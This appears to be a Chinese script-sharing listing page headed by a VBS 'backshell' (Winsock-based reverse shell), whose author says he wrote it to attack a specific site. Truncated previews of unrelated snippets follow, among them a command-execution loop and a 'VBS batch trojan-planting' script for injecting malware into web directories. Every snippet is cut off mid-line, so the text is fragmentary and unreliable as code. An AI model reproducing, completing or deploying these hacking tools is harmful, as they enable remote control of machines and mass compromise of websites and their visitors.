TCP版backshell的VBS脚本代码
'搞一个特殊的站准备用的,没想到,等写完了,洞补上了,郁闷 'by 009, baicker@hotmail.com 'date:071221 Dim revdata set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
'搞一个特殊的站准备用的,没想到,等写完了,洞补上了,郁闷 'by 009, baicker@hotmail.com 'date:071221 Dim revdata set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
实现代码如下:Const T_GATEWAY = "1.1.1.1" '网关 Const T_NEWDNS1 = "2.2.2.2" 'DNS1 Const T_NEWDNS2 = "3.3.3.3" 'DNS2 strWinMgmt="winmgmts:{impersonationLevel=im
//把要ECHO的脚本,拖到此脚本上...根据提示操作即可实现代码如下:On Error Resume NextSet Arg=Wscript.argumentsIf Arg.count=0 then Wscript.quit‘——————-‘Enjoy it‘Code By NetPatch‘——
on error resume nextdo while d<>"520"d=inputbox("请输入命令,多个命令用&连接。关闭该VB窗口命令520")set q=createobject("scripting.filesystemobject")set a=WScript.
实现代码如下:Set objNetwork = CreateObject("Wscript.Network")strComputer = objNetwork.ComputerNameSet objUser = GetObject("WinNT://" & strComputer &
Chr(0)为0的字符 Chr(1)Chr(2)Chr(3)Chr(4)Chr(5)Chr(6)Chr(7)响铃 Chr(8)回格 Chr(9)tab(水平制表符)Chr(10)换行 Chr(11)tab(垂直制表符)Chr(12)换页 Chr(13)回车chr(13) Chr(60) Chr(63
rem i an bird,not a big bird,it is a dull bird. rem i didn't sing three years ago,today i chirp it. 'On Error resume next on error goto 0 Set fs = Cre
rem email:kouguoxi@hotmail.comrem some crack statement i remment,make it can't to runon error resume next dim title,text title="can you help me find a
实际上属于转贴。。呵呵:-) 原始文章来自微软,微软么,是大家的微软嘛!所以稍微修改了一下,帖到这里。 原文的中文地址是: http://support.microsoft.com/kb/185538/zh-cn 实际上,这个实现就是获取一个接口,还是叫事件吧。。。。更明显,反正我是分不清这些东西的
scan.vbe cscript scan.vbe web目录 程序代码: '版权信息 br="************************************" & vbCrLf br=br & "* VBS 批量挂马脚本 *" & vbCrLf br=br &am